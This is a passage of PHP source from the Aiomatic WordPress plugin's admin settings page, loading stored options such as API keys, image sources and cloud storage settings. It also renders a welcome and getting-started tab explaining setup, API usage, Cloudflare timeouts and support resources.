$email_address = $aiomatic_Main_Settings['email_address']; } else { $email_address = ''; } if (isset($aiomatic_Main_Settings['translate'])) { $translate = $aiomatic_Main_Settings['translate']; } else { $translate = ''; } if (isset($aiomatic_Main_Settings['translate_source'])) { $translate_source = $aiomatic_Main_Settings['translate_source']; } else { $translate_source = ''; } if (isset($aiomatic_Main_Settings['second_translate'])) { $second_translate = $aiomatic_Main_Settings['second_translate']; } else { $second_translate = ''; } if (isset($aiomatic_Main_Settings['spin_text'])) { $spin_text = $aiomatic_Main_Settings['spin_text']; } else { $spin_text = ''; } if (isset($aiomatic_Main_Settings['spin_what'])) { $spin_what = $aiomatic_Main_Settings['spin_what']; } else { $spin_what = ''; } if (isset($aiomatic_Main_Settings['best_humanize'])) { $best_humanize = $aiomatic_Main_Settings['best_humanize']; } else { $best_humanize = ''; } if (isset($aiomatic_Main_Settings['no_title'])) { $no_title = $aiomatic_Main_Settings['no_title']; } else { $no_title = ''; } if (isset($aiomatic_Main_Settings['swear_filter'])) { $swear_filter = $aiomatic_Main_Settings['swear_filter']; } else { $swear_filter = ''; } if (isset($aiomatic_Main_Settings['no_undetectibility'])) { $no_undetectibility = $aiomatic_Main_Settings['no_undetectibility']; } else { $no_undetectibility = ''; } if (isset($aiomatic_Main_Settings['no_media_library'])) { $no_media_library = $aiomatic_Main_Settings['no_media_library']; } else { $no_media_library = ''; } if (isset($aiomatic_Main_Settings['clear_omni'])) { $clear_omni = $aiomatic_Main_Settings['clear_omni']; } else { $clear_omni = ''; } if (isset($aiomatic_Main_Settings['no_pre_code_remove'])) { $no_pre_code_remove = $aiomatic_Main_Settings['no_pre_code_remove']; } else { $no_pre_code_remove = ''; } if (isset($aiomatic_Main_Settings['no_omni_shortcode_render'])) { $no_omni_shortcode_render = $aiomatic_Main_Settings['no_omni_shortcode_render']; } else { $no_omni_shortcode_render = ''; } if (isset($aiomatic_Main_Settings['azure_model_deployments'])) { $azure_model_deployments = $aiomatic_Main_Settings['azure_model_deployments']; } else { $azure_model_deployments = array(); } if (isset($aiomatic_Main_Settings['ai_seed'])) { $ai_seed = $aiomatic_Main_Settings['ai_seed']; } else { $ai_seed = ''; } if (isset($aiomatic_Main_Settings['google_trans_auth'])) { $google_trans_auth = $aiomatic_Main_Settings['google_trans_auth']; } else { $google_trans_auth = ''; } if (isset($aiomatic_Main_Settings['serpapi_auth'])) { $serpapi_auth = $aiomatic_Main_Settings['serpapi_auth']; } else { $serpapi_auth = ''; } if (isset($aiomatic_Main_Settings['google_search_api'])) { $google_search_api = $aiomatic_Main_Settings['google_search_api']; } else { $google_search_api = ''; } if (isset($aiomatic_Main_Settings['google_search_cx'])) { $google_search_cx = $aiomatic_Main_Settings['google_search_cx']; } else { $google_search_cx = ''; } if (isset($aiomatic_Main_Settings['valueserp_auth'])) { $valueserp_auth = $aiomatic_Main_Settings['valueserp_auth']; } else { $valueserp_auth = ''; } if (isset($aiomatic_Main_Settings['yt_app_id'])) { $yt_app_id = $aiomatic_Main_Settings['yt_app_id']; } else { $yt_app_id = ''; } if (isset($aiomatic_Main_Settings['ai_resize_width'])) { $ai_resize_width = $aiomatic_Main_Settings['ai_resize_width']; } else { $ai_resize_width = ''; } if (isset($aiomatic_Main_Settings['copy_locally'])) { $copy_locally = $aiomatic_Main_Settings['copy_locally']; } else { $copy_locally = ''; } if (isset($aiomatic_Main_Settings['disable_compress'])) { $disable_compress = $aiomatic_Main_Settings['disable_compress']; } else { $disable_compress = ''; } if (isset($aiomatic_Main_Settings['compress_quality'])) { $compress_quality = $aiomatic_Main_Settings['compress_quality']; } else { $compress_quality = ''; } if (isset($aiomatic_Main_Settings['url_image'])) { $url_image = $aiomatic_Main_Settings['url_image']; } else { $url_image = ''; } if (isset($aiomatic_Main_Settings['drive_directory'])) { $drive_directory = $aiomatic_Main_Settings['drive_directory']; } else { $drive_directory = 'MyImages'; } if (isset($aiomatic_Main_Settings['bucket_name'])) { $bucket_name = $aiomatic_Main_Settings['bucket_name']; } else { $bucket_name = ''; } if (isset($aiomatic_Main_Settings['bucket_region'])) { $bucket_region = $aiomatic_Main_Settings['bucket_region']; } else { $bucket_region = ''; } if (isset($aiomatic_Main_Settings['wasabi_region'])) { $wasabi_region = $aiomatic_Main_Settings['wasabi_region']; } else { $wasabi_region = ''; } if (isset($aiomatic_Main_Settings['s3_user'])) { $s3_user = $aiomatic_Main_Settings['s3_user']; } else { $s3_user = ''; } if (isset($aiomatic_Main_Settings['s3_pass'])) { $s3_pass = $aiomatic_Main_Settings['s3_pass']; } else { $s3_pass = ''; } if (isset($aiomatic_Main_Settings['wasabi_directory'])) { $wasabi_directory = $aiomatic_Main_Settings['wasabi_directory']; } else { $wasabi_directory = ''; } if (isset($aiomatic_Main_Settings['wasabi_bucket'])) { $wasabi_bucket = $aiomatic_Main_Settings['wasabi_bucket']; } else { $wasabi_bucket = ''; } if (isset($aiomatic_Main_Settings['wasabi_region'])) { $wasabi_region = $aiomatic_Main_Settings['wasabi_region']; } else { $wasabi_region = ''; } if (isset($aiomatic_Main_Settings['wasabi_user'])) { $wasabi_user = $aiomatic_Main_Settings['wasabi_user']; } else { $wasabi_user = ''; } if (isset($aiomatic_Main_Settings['wasabi_pass'])) { $wasabi_pass = $aiomatic_Main_Settings['wasabi_pass']; } else { $wasabi_pass = ''; } if (isset($aiomatic_Main_Settings['cloud_directory'])) { $cloud_directory = $aiomatic_Main_Settings['cloud_directory']; } else { $cloud_directory = ''; } if (isset($aiomatic_Main_Settings['cloud_bucket'])) { $cloud_bucket = $aiomatic_Main_Settings['cloud_bucket']; } else { $cloud_bucket = ''; } if (isset($aiomatic_Main_Settings['cloud_account'])) { $cloud_account = $aiomatic_Main_Settings['cloud_account']; } else { $cloud_account = ''; } if (isset($aiomatic_Main_Settings['cloud_user'])) { $cloud_user = $aiomatic_Main_Settings['cloud_user']; } else { $cloud_user = ''; } if (isset($aiomatic_Main_Settings['cloud_pass'])) { $cloud_pass = $aiomatic_Main_Settings['cloud_pass']; } else { $cloud_pass = ''; } if (isset($aiomatic_Main_Settings['digital_directory'])) { $digital_directory = $aiomatic_Main_Settings['digital_directory']; } else { $digital_directory = ''; } if (isset($aiomatic_Main_Settings['digital_endpoint'])) { $digital_endpoint = $aiomatic_Main_Settings['digital_endpoint']; } else { $digital_endpoint = ''; } if (isset($aiomatic_Main_Settings['digital_user'])) { $digital_user = $aiomatic_Main_Settings['digital_user']; } else { $digital_user = ''; } if (isset($aiomatic_Main_Settings['digital_pass'])) { $digital_pass = $aiomatic_Main_Settings['digital_pass']; } else { $digital_pass = ''; } if (isset($aiomatic_Main_Settings['no_img_translate'])) { $no_img_translate = $aiomatic_Main_Settings['no_img_translate']; } else { $no_img_translate = ''; } if (isset($aiomatic_Main_Settings['omni_webhook'])) { $omni_webhook = $aiomatic_Main_Settings['omni_webhook']; } else { $omni_webhook = ''; } if (isset($aiomatic_Main_Settings['omni_caching'])) { $omni_caching = $aiomatic_Main_Settings['omni_caching']; } else { $omni_caching = ''; } if (isset($aiomatic_Main_Settings['dalle_style'])) { $dalle_style = $aiomatic_Main_Settings['dalle_style']; } else { $dalle_style = ''; } if (isset($aiomatic_Main_Settings['midjourney_image_model'])) { $midjourney_image_model = $aiomatic_Main_Settings['midjourney_image_model']; } else { $midjourney_image_model = ''; } if (isset($aiomatic_Main_Settings['ai_resize_height'])) { $ai_resize_height = $aiomatic_Main_Settings['ai_resize_height']; } else { $ai_resize_height = ''; } if (isset($aiomatic_Main_Settings['ai_resize_quality'])) { $ai_resize_quality = $aiomatic_Main_Settings['ai_resize_quality']; } else { $ai_resize_quality = ''; } if (isset($aiomatic_Main_Settings['textrazor_key'])) { $textrazor_key = $aiomatic_Main_Settings['textrazor_key']; } else { $textrazor_key = ''; } if (isset($aiomatic_Main_Settings['neuron_project'])) { $neuron_project = $aiomatic_Main_Settings['neuron_project']; } else { $neuron_project = ''; } if (isset($aiomatic_Main_Settings['neuron_key'])) { $neuron_key = $aiomatic_Main_Settings['neuron_key']; } else { $neuron_key = ''; } if (isset($aiomatic_Main_Settings['amazon_app_secret'])) { $amazon_app_secret = $aiomatic_Main_Settings['amazon_app_secret']; } else { $amazon_app_secret = ''; } if (isset($aiomatic_Main_Settings['amazon_app_id'])) { $amazon_app_id = $aiomatic_Main_Settings['amazon_app_id']; } else { $amazon_app_id = ''; } if (isset($aiomatic_Main_Settings['plagiarism_api'])) { $plagiarism_api = $aiomatic_Main_Settings['plagiarism_api']; } else { $plagiarism_api = ''; } if (isset($aiomatic_Main_Settings['keyword_prompts'])) { $keyword_prompts = $aiomatic_Main_Settings['keyword_prompts']; } else { $keyword_prompts = ''; } if (isset($aiomatic_Main_Settings['keyword_model'])) { $keyword_model = $aiomatic_Main_Settings['keyword_model']; } else { $keyword_model = ''; } if (isset($aiomatic_Main_Settings['keyword_assistant_id'])) { $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id']; } else { $keyword_assistant_id = ''; } if (isset($aiomatic_Main_Settings['improve_keywords'])) { $improve_keywords = $aiomatic_Main_Settings['improve_keywords']; } else { $improve_keywords = ''; } if (isset($aiomatic_Main_Settings['image_pool'])) { $image_pool = $aiomatic_Main_Settings['image_pool']; } else { $image_pool = ''; } if (isset($aiomatic_Main_Settings['random_image_sources'])) { $random_image_sources = $aiomatic_Main_Settings['random_image_sources']; } else { $random_image_sources = ''; } if (isset($aiomatic_Main_Settings['random_results_order'])) { $random_results_order = $aiomatic_Main_Settings['random_results_order']; } else { $random_results_order = ''; } if (isset($aiomatic_Main_Settings['image_query_translate_en'])) { $image_query_translate_en = $aiomatic_Main_Settings['image_query_translate_en']; } else { $image_query_translate_en = ''; } if (isset($aiomatic_Main_Settings['best_user'])) { $best_user = $aiomatic_Main_Settings['best_user']; } else { $best_user = ''; } if (isset($aiomatic_Main_Settings['exclude_words'])) { $exclude_words = $aiomatic_Main_Settings['exclude_words']; } else { $exclude_words = ''; } if (isset($aiomatic_Main_Settings['best_password'])) { $best_password = $aiomatic_Main_Settings['best_password']; } else { $best_password = ''; } if (isset($aiomatic_Main_Settings['morguefile_api'])) { $morguefile_api = $aiomatic_Main_Settings['morguefile_api']; } else { $morguefile_api = ''; } if (isset($aiomatic_Main_Settings['morguefile_secret'])) { $morguefile_secret = $aiomatic_Main_Settings['morguefile_secret']; } else { $morguefile_secret = ''; } if (isset($aiomatic_Main_Settings['pexels_api'])) { $pexels_api = $aiomatic_Main_Settings['pexels_api']; } else { $pexels_api = ''; } if (isset($aiomatic_Main_Settings['flickr_api'])) { $flickr_api = $aiomatic_Main_Settings['flickr_api']; } else { $flickr_api = ''; } if (isset($aiomatic_Main_Settings['flickr_license'])) { $flickr_license = $aiomatic_Main_Settings['flickr_license']; } else { $flickr_license = ''; } if (isset($aiomatic_Main_Settings['flickr_order'])) { $flickr_order = $aiomatic_Main_Settings['flickr_order']; } else { $flickr_order = ''; } if (isset($aiomatic_Main_Settings['pixabay_api'])) { $pixabay_api = $aiomatic_Main_Settings['pixabay_api']; } else { $pixabay_api = ''; } if (isset($aiomatic_Main_Settings['imgtype'])) { $imgtype = $aiomatic_Main_Settings['imgtype']; } else { $imgtype = ''; } if (isset($aiomatic_Main_Settings['img_order'])) { $img_order = $aiomatic_Main_Settings['img_order']; } else { $img_order = ''; } if (isset($aiomatic_Main_Settings['request_delay'])) { $request_delay = $aiomatic_Main_Settings['request_delay']; } else { $request_delay = ''; } if (isset($aiomatic_Main_Settings['img_cat'])) { $img_cat = $aiomatic_Main_Settings['img_cat']; } else { $img_cat = ''; } if (isset($aiomatic_Main_Settings['img_width'])) { $img_width = $aiomatic_Main_Settings['img_width']; } else { $img_width = ''; } if (isset($aiomatic_Main_Settings['img_mwidth'])) { $img_mwidth = $aiomatic_Main_Settings['img_mwidth']; } else { $img_mwidth = ''; } if (isset($aiomatic_Main_Settings['img_ss'])) { $img_ss = $aiomatic_Main_Settings['img_ss']; } else { $img_ss = ''; } if (isset($aiomatic_Main_Settings['img_editor'])) { $img_editor = $aiomatic_Main_Settings['img_editor']; } else { $img_editor = ''; } if (isset($aiomatic_Main_Settings['img_language'])) { $img_language = $aiomatic_Main_Settings['img_language']; } else { $img_language = ''; } if (isset($aiomatic_Main_Settings['unsplash_api'])) { $unsplash_api = $aiomatic_Main_Settings['unsplash_api']; } else { $unsplash_api = ''; } if (isset($aiomatic_Main_Settings['google_images'])) { $google_images = $aiomatic_Main_Settings['google_images']; } else { $google_images = ''; } if (isset($aiomatic_Main_Settings['pixabay_scrape'])) { $pixabay_scrape = $aiomatic_Main_Settings['pixabay_scrape']; } else { $pixabay_scrape = ''; } if (isset($aiomatic_Main_Settings['scrapeimgtype'])) { $scrapeimgtype = $aiomatic_Main_Settings['scrapeimgtype']; } else { $scrapeimgtype = ''; } if (isset($aiomatic_Main_Settings['scrapeimg_orientation'])) { $scrapeimg_orientation = $aiomatic_Main_Settings['scrapeimg_orientation']; } else { $scrapeimg_orientation = ''; } if (isset($aiomatic_Main_Settings['scrapeimg_order'])) { $scrapeimg_order = $aiomatic_Main_Settings['scrapeimg_order']; } else { $scrapeimg_order = ''; } if (isset($aiomatic_Main_Settings['scrapeimg_cat'])) { $scrapeimg_cat = $aiomatic_Main_Settings['scrapeimg_cat']; } else { $scrapeimg_cat = ''; } if (isset($aiomatic_Main_Settings['scrapeimg_width'])) { $scrapeimg_width = $aiomatic_Main_Settings['scrapeimg_width']; } else { $scrapeimg_width = ''; } if (isset($aiomatic_Main_Settings['scrapeimg_height'])) { $scrapeimg_height = $aiomatic_Main_Settings['scrapeimg_height']; } else { $scrapeimg_height = ''; } if (isset($aiomatic_Main_Settings['attr_text'])) { $attr_text = $aiomatic_Main_Settings['attr_text']; } else { $attr_text = ''; } if (isset($aiomatic_Main_Settings['bimage'])) { $bimage = $aiomatic_Main_Settings['bimage']; } else { $bimage = ''; } if (isset($aiomatic_Main_Settings['no_royalty_skip'])) { $no_royalty_skip = $aiomatic_Main_Settings['no_royalty_skip']; } else { $no_royalty_skip = ''; } if (isset($aiomatic_Main_Settings['custom_html2'])) { $custom_html2 = $aiomatic_Main_Settings['custom_html2']; } else { $custom_html2 = ''; } if (isset($aiomatic_Main_Settings['partial_kws'])) { $partial_kws = $aiomatic_Main_Settings['partial_kws']; } else { $partial_kws = ''; } if (isset($aiomatic_Main_Settings['kws_case'])) { $kws_case = $aiomatic_Main_Settings['kws_case']; } else { $kws_case = ''; } if (isset($aiomatic_Main_Settings['no_new_tab_kw'])) { $no_new_tab_kw = $aiomatic_Main_Settings['no_new_tab_kw']; } else { $no_new_tab_kw = ''; } if (isset($aiomatic_Main_Settings['kw_skip_ids'])) { $kw_skip_ids = $aiomatic_Main_Settings['kw_skip_ids']; } else { $kw_skip_ids = ''; } if (isset($aiomatic_Main_Settings['custom_html'])) { $custom_html = $aiomatic_Main_Settings['custom_html']; } else { $custom_html = ''; } if (isset($aiomatic_Main_Settings['resize_width'])) { $resize_width = $aiomatic_Main_Settings['resize_width']; } else { $resize_width = ''; } if (isset($aiomatic_Main_Settings['resize_quality'])) { $resize_quality = $aiomatic_Main_Settings['resize_quality']; } else { $resize_quality = ''; } if (isset($aiomatic_Main_Settings['resize_height'])) { $resize_height = $aiomatic_Main_Settings['resize_height']; } else { $resize_height = ''; } if (isset($_GET['settings-updated'])) { ?> <div id="message" class="updated"> <p class="cr_saved_notif"><strong> <?php echo esc_html__('Settings saved.', 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div id="tab-15" class="tab-content"> <br/><table class="widefat"> <td> <h3><?php echo esc_html__('Welcome to the Aiomatic plugin!', 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__('Hello, my name is', 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/our-story/" target="_blank">Szabi</a>, <?php echo esc_html__('I am the developer of the', 'aiomatic-automatic-ai-content-writer');?> <a href="https://1.envato.market/aiomatic" target="_blank">Aiomatic <?php echo esc_html__('plugin', 'aiomatic-automatic-ai-content-writer');?></a>. <?php echo esc_html__('I am really excited to have you on board as a user!', 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__('Aiomatic is a powerful tool that can help you generate high-quality, AI-created content for your WordPress site. Whether you\'re a blogger, marketer, or simply looking to automate your content creation process, Aiomatic has everything you need to get started.', 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__('If you\'re looking to edit existing or newly published posts, Aiomatic also offers AI content editors and AI-generated featured images to help streamline the process. And with advanced features like AI model fine-tuning, AI embeddings, and usage statistics, you can take your content creation to the next level and produce high-quality, engaging posts in no time.', 'aiomatic-automatic-ai-content-writer');?></p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Getting started?', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__('To set up the plugin in a fast and efficient way, click the "Start Plugin Quick Setup Now" button from below, which will guide you trough the essential steps to set up the plugin and will also teach you about its functionality.', 'aiomatic-automatic-ai-content-writer');?></p> <hr/> <div class="cr_center cr_width_full"> <?php echo '<a href="' . esc_url_raw( admin_url('admin.php?page=aiomatic_admin_settings&aiomatic_go_config=1&nonce=' . wp_create_nonce('aiomatic-quick-config')) ) . '" class="button button-primary">' . esc_html__("Start Plugin Quick Setup Now", 'aiomatic-automatic-ai-content-writer') . '</a>';?> </div> <hr/> <p><?php echo esc_html__('If you don\'t want to use the above Quick Setup, to begin using the plugin, click on the \'Plugin Activation\' tab from above and register your Envato purchase code. This will allow you to benefit of the full feature set of this plugin. To learn how to find your purchase code for the plugin, check', 'aiomatic-automatic-ai-content-writer');?> <a href="https://www.youtube.com/watch?v=NElJ5t_Wd48" target="_blank"><?php echo esc_html__('this video', 'aiomatic-automatic-ai-content-writer');?></a>.</p> <p><?php echo esc_html__('Afterwards, you need to add your', 'aiomatic-automatic-ai-content-writer');?> <a href="https://platform.openai.com/account/api-keys" target="_blank">OpenAI</a> <?php echo esc_html__('API key or', 'aiomatic-automatic-ai-content-writer');?> <a href="https://aiomaticapi.com/" target="_blank">AiomaticAPI</a> <?php echo esc_html__('API key into the plugin\'s settings (depending which service you choose). You can do this by going to the \'API keys\' tab from above. In this tab you will find also some additional API keys to add, like', 'aiomatic-automatic-ai-content-writer');?> <a href="https://beta.dreamstudio.ai/membership?tab=apiKeys" target="_blank">Stability.AI</a> (<?php echo esc_html__('to create images using Stable Difussion', 'aiomatic-automatic-ai-content-writer');?>) or <a href="https://www.pinecone.io/" target="_blank">Pinecone.io</a> (<?php echo esc_html__('used for the plugin\'s Embeddings functionality', 'aiomatic-automatic-ai-content-writer');?>).</p> <p><?php echo esc_html__('Now you are ready to get started seeing the plugin in action! You can hover your mouse over the Aiomatic menu in your WordPress dashboard. From there, you can choose to generate a single AI post or to create bulk automatic AI-created posts, complete with rich HTML content and royalty-free or AI-generated images. You can also edit existing or newly published posts, using an AI content editor. If you are an advanced user or you want to learn how to squize more out of the plugin and AI in general, check the Embeddings and Model Training features of the plugin. Finally, stop over to see the usage charts of the plugin and set limits for its API usage (if you feel that this is needed).', 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__('You can also add a fully customizable chatbot to your site to engage with visitors and provide them with the information they need in real-time.', 'aiomatic-automatic-ai-content-writer');?></p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('What is Aiomatic?', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__('Aiomatic is a comprehensive WordPress plugin that leverages the capabilities of artificial intelligence to create content, chatbots, images, audio, and more. This all-in-one AI suite includes features such as Custom ChatGPT, Content Creator, Automatic Content Generator, Content Wizard, AI Forms, Image Creator, Audio Converter, SEO enhancer, AI Training, Embeddings, and more, all powered by GPT-3, GPT-3.5 and GPT-4.', 'aiomatic-automatic-ai-content-writer');?></p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Understanding How It Functions', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__("The Aiomatic plugin operates in conjunction with the OpenAI API or with AiomaticAPI (whichever you choose to use). To utilize it, you must first create an account on OpenAI and paste your API key in the plugin's settings ('API Keys' tab from the top). OpenAI offers a $5 credit for new users. If you see a message stating, \"You exceeded your current quota, please check your plan and billing details\" it means you've depleted your OpenAI quota and need to buy more credit from OpenAI.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("Acquiring the Aiomatic plugin does not include any OpenAI credit. Purchasing Aiomatic grants you access to the plugin's advanced features, but it doesn't cover any API credit. You'll need to buy credit from OpenAI or a subscription from AiomaticAPI separately.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("If you notice any slowdown or failure in content generation, it could be due to issues with the OpenAI API services. Please wait until their services are back to normal before attempting again.", 'aiomatic-automatic-ai-content-writer');?></p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Setting Up Your API Key', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><ul><li><?php echo esc_html__("Visit", 'aiomatic-automatic-ai-content-writer');?> <a href="https://platform.openai.com/account/api-keys" target="_blank">OpenAI</a> <?php echo esc_html__("or", 'aiomatic-automatic-ai-content-writer');?> <a href="https://aiomaticapi.com/" target="_blank">AiomaticAPI</a> <?php echo esc_html__("and create your API key.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Navigate to the 'API Keys' tab on the top of this admin page.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Input your API key in the 'OpenAI / AiomaticAPI API Keys (One Per Line)' settings field and hit the Save button.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("You're all set!", 'aiomatic-automatic-ai-content-writer');?> </li></ul> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('How to use different features of the plugin? Like AI chatbot, AI content creator, AI Content Editor, AI Model Training, Embeddings, AI Forms and many more?', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__("Depending for which feature are you looking for, be sure to navigate to the respective menu of the Aiomatic plugin, wehre you will find a 'Tutorial' tab for each of the features available in the plugin. There you will find also a tutorial video, with detailed description of the feature you are setting up.", 'aiomatic-automatic-ai-content-writer');?></p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Using the Content Wizard', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__("The Content Wizard is a feature that allows you to add a button to the WordPress editor to assist in content creation. You can add your own menus with your own prompts. The Content Wizard is compatible with both Gutenberg and Classic Editor. Navigate to your Gutenberg or Classic Editor and look for the Aiomatic plugin's logo in the toolbar. Click on the logo and select the menu you want to use. Click the prompt you want to use. Please note that you need to use the \"Convert to Block\" feature in the Gutenberg Editor to use the Content Wizard.", 'aiomatic-automatic-ai-content-writer');?></p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Some Important Notes:', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <ul><li> <?php echo esc_html__("Note 1: Don't forget to secure your API key from OpenAI (don't share it with anyone).", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Note 2: If you're using Cloudflare, please read below.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Note 3: If you're using the WP Rocket caching plugin, please deactivate and reactivate your caching plugin.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Note 4: If your server has a timeout limit (max_execution_time server settings limited), you may not be able to generate longer content. Please request your hosting provider to extend the server timeout limit to at least 10-15 minutes to generate longer content.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Note 5: If you're using iThemes security, please ensure to allow PHP calls from the plugin folder, otherwise, some features of the plugin might not work.", 'aiomatic-automatic-ai-content-writer');?> </li></ul> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Using CloudFlare for this website?', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__("If you encounter slowdowns or a even a full halt in your content creation workflow, the problem could potentially come from Cloudflare.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("To better understand how this might be happening, it is helpful to first understand how the content generation part of the plugin functions. In most cases, when you request the plugin to create a post with a AI generated title, 5 headings, intro + outro and a Q&A section, the plugin sends 1 API request to generate the title, 5 different API requests for the headings, 3 API requests for the intro, outro and Q&A sections. So, for a single post, there might be 9 or more API calls to OpenAI/AiomaticAPI. If each request takes 20 seconds to receive a response, this means that generating this post could take up to 180 seconds in total.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("Unfortunately, the default connection timeout for Cloudflare is set at 100 seconds. This implies that if you're utilizing Cloudflare's default plan and fail to receive all responses from OpenAI within the 100-second window, Cloudflare will reach its timeout limit, resulting in it fully stopping content creation. However, CloudFlare Enterprise users have the option to extend this timeout limit to 6000 seconds either through the Cloudflare API or by reaching out to customer service. Note that only CloudFlare's Enterprise plan will allow this settings change.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("If you're a Cloudflare user and you are facing slowdowns in your content creation workflow, one potential remedy could be to extend the connection timeout on Cloudflare (if this is possible in your case). Another approach could be to deactivate CloudFlare while you are using the Aiomatic plugin on your site for long content creation (which uses multiple API requests).", 'aiomatic-automatic-ai-content-writer');?></p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Using a LiteSpeed Web Server for this website?', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__("If you are using a LiteSpeed web server, you might need to configure it to allow longer execution times of Aiomatic.", 'aiomatic-automatic-ai-content-writer');?></p> <p><a href="https://docs.litespeedtech.com/lsws/cp/cpanel/long-run-script/" target="_blank"><?php echo esc_html__('Check this link for details', 'aiomatic-automatic-ai-content-writer');?></a>.</p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Need help?', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__('If you need help getting started with Aiomatic, be sure to check out', 'aiomatic-automatic-ai-content-writer');?> <a href="https://www.youtube.com/channel/UCVLIksvzyk-D_oEdHab2Lgg" target="_blank">CodeRevolutionTV's YouTube channel</a> <?php echo esc_html__('for tutorial videos and other helpful resources. Here you can always find what was the newest update for it and how it got improved. I am constantly adding new updates to the plugin to help you get the most out of it, so be sure to subscribe and stay up to date with the latest version of the plugin.', 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__('If your issue is more technical, create a ticket and ask for support on', 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/support/tickets/aiomatic-support/" target="_blank"><?php echo esc_html__('Aiomatic\'s Support Page', 'aiomatic-automatic-ai-content-writer');?></a>.</p> <p><?php echo esc_html__("For more information about the plugin, please visit", 'aiomatic-automatic-ai-content-writer');?> <a href="https://www.youtube.com/playlist?list=PLEiGTaa0iBIhsRSgl5czLEDAhawr_SHx2" target="_blank">"Aiomatic Updates"</a> or <a href="https://www.youtube.com/playlist?list=PLEiGTaa0iBIhRvgICiyvwBXH-dMBM4VAt" target="_blank">"Aiomatic Tutorials"</a> <?php echo esc_html__("playlists on YouTube.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("Feel free to join our Discord community", 'aiomatic-automatic-ai-content-writer');?> <a href="https://discord.gg/Fjggup9wcM" target="_blank">here</a>.</p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Now go have some fun using the plugin!', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p><?php echo esc_html__('Thank you for choosing Aiomatic, and I look forward to the plugin helping you create amazing content and features for your WordPress site!', 'aiomatic-automatic-ai-content-writer');?></p> <br/><table class="widefat"><tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Tutorial Video:', 'aiomatic-automatic-ai-content-writer');?></h2></td></tr></table> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/_Ft1czw-VPU" frameborder="0" allowfullscreen></iframe></div></p> </td> </table> </div> <div id="tab-1" class="tab-content"> <div class="aiomatic_class"> <h3> <span class="gs-sub-heading"><?php echo esc_html__('Plugin\'s Main Switch:', 'aiomatic-automatic-ai-content-writer');?></b> </span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Fully enabled or disables the plugins functionality. If you want to use the plugin, be sure to keep this set to 'ON'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div>    <div class="aiomatic-inline-flex slideThree"> <input class="input-checkbox-ai" type="checkbox" id="aiomatic_enabled" name="aiomatic_Main_Settings[aiomatic_enabled]"<?php if ($aiomatic_enabled == 'on') echo ' checked '; ?>> <label for="aiomatic_enabled"></label> </div> </h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("Plugin activation enables the full functionality of the plugin, enable automatic updates for it to never miss the latest features available.", 'aiomatic-automatic-ai-content-writer'); ?></p> </div> <?php if($aiomatic_enabled != 'on'){echo '<div class="crf_bord cr_color_red cr_auto_update">' . esc_html__('The entire plugin\'s functionality is disabled! Please enable it 